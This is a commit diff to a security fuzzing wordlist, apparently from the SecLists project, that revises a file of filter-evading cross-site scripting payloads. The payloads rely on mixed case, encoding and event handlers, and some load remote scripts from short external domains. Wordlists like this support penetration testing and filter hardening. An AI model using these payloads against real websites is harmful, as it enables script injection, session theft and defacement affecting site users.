Merge pull request danielmiessler#237 from s0md3v/patch-1

+5 payloads, some enhancements
EthelHub · Jan 8, 2019 · 7ed3f89 · 7ed3f89
2 parents a012b65 + bb180d4
commit 7ed3f89
Showing 1 changed file with 20 additions and 15 deletions.
diff --git a/Fuzzing/XSS-Somdev.txt b/Fuzzing/XSS-Somdev.txt
@@ -1,17 +1,22 @@
 <svg%0Aonload=%09((pro\u006dpt))()//
-<sCript x>(((confirm)))``</scRipt x>
-<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
-<details open ontoggle=confirm()>
-<script y="><">/*<script* */prompt()</script
-<a href="javascript%26colon;alert(1)">click
-<svg onload=write()>
-<a href=javas&#99;ript:alert(1)>click
-<script/"<a"/src=data:=".<a,[8].some(confirm)>
-<svg/x=">"/onload=confirm()//
-<--`<img/src=` onerror=confirm``> --!>
-<svg </onload ="1> (_=prompt,_(1)) "">
-<!--><script src=//14.rs>
-<script x=">" src=//15.rs></script>
+<sCriPt x>(((confirm)))``</scRipt x>
+<w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z
+<deTAiLs/open/oNtoGGle=confirm()>
+<scRiPt y="><">/*<sCRipt* */prompt()</script
+<A href="javascript%26colon;confirm()">click
+<sVg oNloaD=write()>
+<A href=javas%26#99;ript:alert(1)>click
+<sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)>
+<svG/x=">"/oNloaD=confirm()//
+<--`<iMG/srC=` onerror=confirm``> --!>
+<SVg </onlOad ="1> (_=prompt,_(1)) "">
+<!--><scRipT src=//14.rs>
+<sCriPt/src=//14.rs?
+<sCRIpt x=">" src=//15.rs></script>
+<D3/OnMouSEenTer=[2].find(confirm)>z
+<D3"<"/OncLick="1>[confirm``]"<">z
+<D3/OnpOinTeReENer=confirm``>click here
 <!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
-<x oncut=alert()>x
-<iframe/src \/\/onload = prompt(1)
+<Z oncut=alert()>x
+<iFrAMe/src \/\/onload = prompt(1)
+<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>